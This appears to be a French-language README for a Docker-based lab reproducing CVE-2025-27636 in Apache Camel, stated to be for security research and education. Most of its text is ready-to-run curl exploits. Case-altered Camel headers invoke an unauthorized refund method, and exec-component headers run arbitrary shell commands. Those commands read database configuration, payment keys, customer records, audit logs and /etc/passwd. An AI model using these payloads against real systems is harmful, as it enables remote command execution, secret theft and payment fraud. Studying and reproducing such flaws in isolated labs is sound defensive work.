
Démontre la CVE-2025-27636 d'Apache Camel avec une reproduction basée sur Docker d'attaques par injection d'en-têtes, y compris l'injection de méthodes de bean et l'exécution de commandes pour la recherche et l'éducation en sécurité.
Ce projet démontre les vulnérabilités de sécurité dans Apache Camel liées aux attaques par injection d'en-têtes.
Construire l'image Docker :
docker build -t camel-cve-demo .
Exécuter le conteneur avec tous les ports nécessaires :
docker run -d `
--name camel-cve-demo `
-p 8080:8080 `
-p 8081:8081 `
-p 8484:8484 `
-v ${PWD}/logs:/app/logs `
-e JAVA_OPTS="-Xmx512m -Xms256m" `
camel-cve-demo
Exploiter le point de terminaison vulnérable en injectant des noms de méthodes :
# Attaque réussie - en-tête sensible à la casse
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
# Alternative - injection par paramètre de requête
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"
Comparaison (ces commandes devraient échouer) :
# Mauvaise casse - ne devrait pas fonctionner
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
Exploiter le composant exec pour exécuter des commandes arbitraires :
Reconnaissance :
# Vérifier le répertoire courant
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"
# Lister le répertoire de configuration
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"
# Rechercher les fichiers de configuration
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"
Exfiltration de données :
# Lire la configuration de la base de données
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"
# Lire les secrets de paiement
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"
# Lire les données clients
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"
# Lire les journaux d'audit
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"
# Lire les utilisateurs système
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"
# Lister les processus
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"
Consulter les journaux d'attaque dans le conteneur :
# Afficher les tentatives de remboursement non autorisées
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt